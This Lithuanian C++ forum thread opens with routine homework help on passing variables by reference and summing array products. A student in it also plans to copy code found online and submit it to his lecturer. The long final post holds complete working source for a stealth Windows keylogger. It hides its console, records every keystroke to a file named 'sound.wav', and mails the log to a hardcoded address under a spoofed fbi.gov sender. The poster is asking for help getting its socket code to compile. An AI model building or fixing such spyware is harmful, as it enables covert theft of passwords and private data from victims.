C++
- Trolis gumis
- Crowbar Master
- Pranešimai:1980
- Užsiregistravo:2003 07 19 14:23
- Trolis gumis
- Crowbar Master
- Pranešimai:1980
- Užsiregistravo:2003 07 19 14:23
ok visai susinervinau.
parasykit kas nors trumpa pavyzdi, kaip is main funkcijos i isorine funkcija perduoti 4 kintamuosius, ir atgal i main pasiimt 2.
* kaip uzpesa, ir svarbiausiai, sake, kad cia siaip tik nereikalingos paskaitos, kuriu net pas mus programoj neturi buti
pvz:
esmej: kas cia taisyt reikia? cia daugmaz is lempos padariau, ir ne velnio nenuraukiu, kur prie rodykliu reikia rasyt *, kur &, kur isvis neiko nereik.
parasykit kas nors trumpa pavyzdi, kaip is main funkcijos i isorine funkcija perduoti 4 kintamuosius, ir atgal i main pasiimt 2.
* kaip uzpesa, ir svarbiausiai, sake, kad cia siaip tik nereikalingos paskaitos, kuriu net pas mus programoj neturi buti
pvz:
Kodas: Pasirinkti visus
#include <iostream.h>
int daugyba(int skait, int vard, int *sk, int *vd);
void main()
{
int skait, vard, *sk, *vd;
sk=0;vd=0;
skait=2;
vard=3;
daugyba( skait, vard, &sk, &vd);
cout<<sk<<endl;
cout<<vd<<endl;
}
int daugyba(int skait,int vard,int *sk,int *vd)
{
sk=skait*2;
vd=vard*2;
return(0);
}
Tavo kodas (truputi pataisytas):
kompiliavimas:
rezultatas, ivykdzius programa:
Kodas: Pasirinkti visus
#include <stdio.h>
#include <iostream>
using namespace std;
void daugyba(int skait,int vard,int &sk,int &vd)
{
sk=skait*2;
vd=vard*2;
}
int main()
{
int skait = 2,
vard = 3,
sk = 0,
vd = 0;
daugyba( skait, vard, sk, vd);
std::cout << sk << std::endl;
std::cout << vd << std::endl;
return 0;
}
Kodas: Pasirinkti visus
lioniax@browser:~/Desktop$ g++ a.cpp
Kodas: Pasirinkti visus
lioniax@browser:~/Desktop$ ./a.out
4
6
Mūsų darbas tamsoje -
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.
- Trolis gumis
- Crowbar Master
- Pranešimai:1980
- Užsiregistravo:2003 07 19 14:23
dekui smarkiai labai, dabar bandysiu perkelt panasia forma i savo didesne programa, gal iseis. o jeigu neiseis, radau nete butent tokia programa, kuria reikia padaryt uzduociai(trupmenu kalkuliatoriu). ciuju jeigu paciam nesigaus padaryt originaliai, tai kopinsiuos ana, bandysiu suprast kas ir kur, keist kintamuosius, pavadinimus, paprastint, ir nest destytuvei
- YouR_EneMy
- jaunasis rašytojas
- Pranešimai:85
- Užsiregistravo:2005 10 16 17:02
- Miestas:Siauliai
Kodas: Pasirinkti visus
for(int i = 0; i <= 9; i++) { y += a[i] * b[i]; }
Mūsų darbas tamsoje -
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.
- YouR_EneMy
- jaunasis rašytojas
- Pranešimai:85
- Užsiregistravo:2005 10 16 17:02
- Miestas:Siauliai
gerai supratau iki y ,o kam tas y dar pridedamas ?Lioniax rašė:kazkas tokio...Kodas: Pasirinkti visus
for(int i = 0; i <= 9; i++) { y += a[i] * b[i]; }
If You Walue Your Life Dont Mess With Me
pas tave y yra visu a ir b sandaugu (nuo 0 iki 9 imtinai) suma:
Kodas: Pasirinkti visus
y = (a1 * b1) + (a2 * b2) + (a3 * b3) + ... + (an * bn), kai n = 9;
va taip gal suprantamiau bus:
Kodas: Pasirinkti visus
double y = 0;
for(int i = 0; i <= 9; i++) { y = y + (a[i] * b[i]); }
Mūsų darbas tamsoje -
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.
Mes darome tai, ką mokam,
Atiduodame tai, ką mokam,
Mūsų darbas - tamsoje.
Abejonės virto aistra,
Aistra gi - ištirpo laisvėje.
Visa kita - menas
Išlikt savim beprotybėje.
- YouR_EneMy
- jaunasis rašytojas
- Pranešimai:85
- Užsiregistravo:2005 10 16 17:02
- Miestas:Siauliai
jo supratau ACIU uz pagalbaLioniax rašė:
pas tave y yra visu a ir b sandaugu (nuo 0 iki 9 imtinai) suma:
todel prie y cikle kiekviena karta prideda vis nauja sandauga...Kodas: Pasirinkti visus
y = (a1 * b1) + (a2 * b2) + (a3 * b3) + ... + (an * bn), kai n = 9;
va taip gal suprantamiau bus:
Kodas: Pasirinkti visus
double y = 0; for(int i = 0; i <= 9; i++) { y = y + (a[i] * b[i]); }
If You Walue Your Life Dont Mess With Me
Kodas: Pasirinkti visus
//---------------------------------------------------------------------------
#ifndef Unit1H
#define Unit1H
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{__published: // IDE-managed Components
TStaticText *StaticText1; // Da˛omas komponentas
TButton *Button1; // ˛alias
TButton *Button2; // raudonas
TButton *Button3; // baigti
void__fastcall Button1Click(TObject *Sender);
void__fastcall Button2Click(TObject *Sender);
Void__fastcall Button3Click(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif
Ir dar noreciau paklaust ar c nuo c++ labai skiriasi (jei pvz moki viena su kita galeis ka nors padaryt ar nelabai).
Style dilema
taigi radau sena keyloga C# 4 metu senumo, veike puikiai bet No Style, todel daug kas suprasdavo kad tai pinkles.
Kompiliatorius: Dev-C++
Dabar dirbu su C++ ir prisiminiau ta keyloga, pakuriau style su minimize funkcija tt...
Prijungiu keylogo source log.cpp
pvz:
#include "I:\Vieta\log.cpp"
kas nutinka pakimba kompiliniams ties
Bandau alibi B versija C++ Projekta metu i Dev-C++ kompiliatoriu, tenai isvis neatpazysta Style, bet keylogeri Kompilina?
Kur saknis ?
Jau knisuos 3 diena ir nesuprantu kodel netinka tas SOCKET...
Kompiliatorius: Dev-C++
Dabar dirbu su C++ ir prisiminiau ta keyloga, pakuriau style su minimize funkcija tt...
Prijungiu keylogo source log.cpp
pvz:
#include "I:\Vieta\log.cpp"
kas nutinka pakimba kompiliniams ties
Kodas: Pasirinkti visus
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "lopso900@gmail.com"
#define cemailfrom "agentsmith@fbi.gov"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int get_keys(void);
int test_key(void);
int main(void)
{
//Uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth */
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}
/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */
int t = get_keys();
return t;
}
int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET);//go to beg.
buf=(char *)malloc(len);//malloc buffer
freadindex=fread(buf,1,len,file);//read into buffer
buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}
fclose(file);
//free (buf);
}
return EXIT_SUCCESS;
}
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
[color=red]SOCKET sockfd;
WSADATA wsaData;[/color]
FILE *smtpfile;
#define bufsize 300
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */
/* Get socket */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
fputs("Connecting....\n",smtpfile);
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
Kur saknis ?
Jau knisuos 3 diena ir nesuprantu kodel netinka tas SOCKET...
Dabar prisijungę
Vartotojai naršantys šį forumą: 1 ir 0 svečias(ių)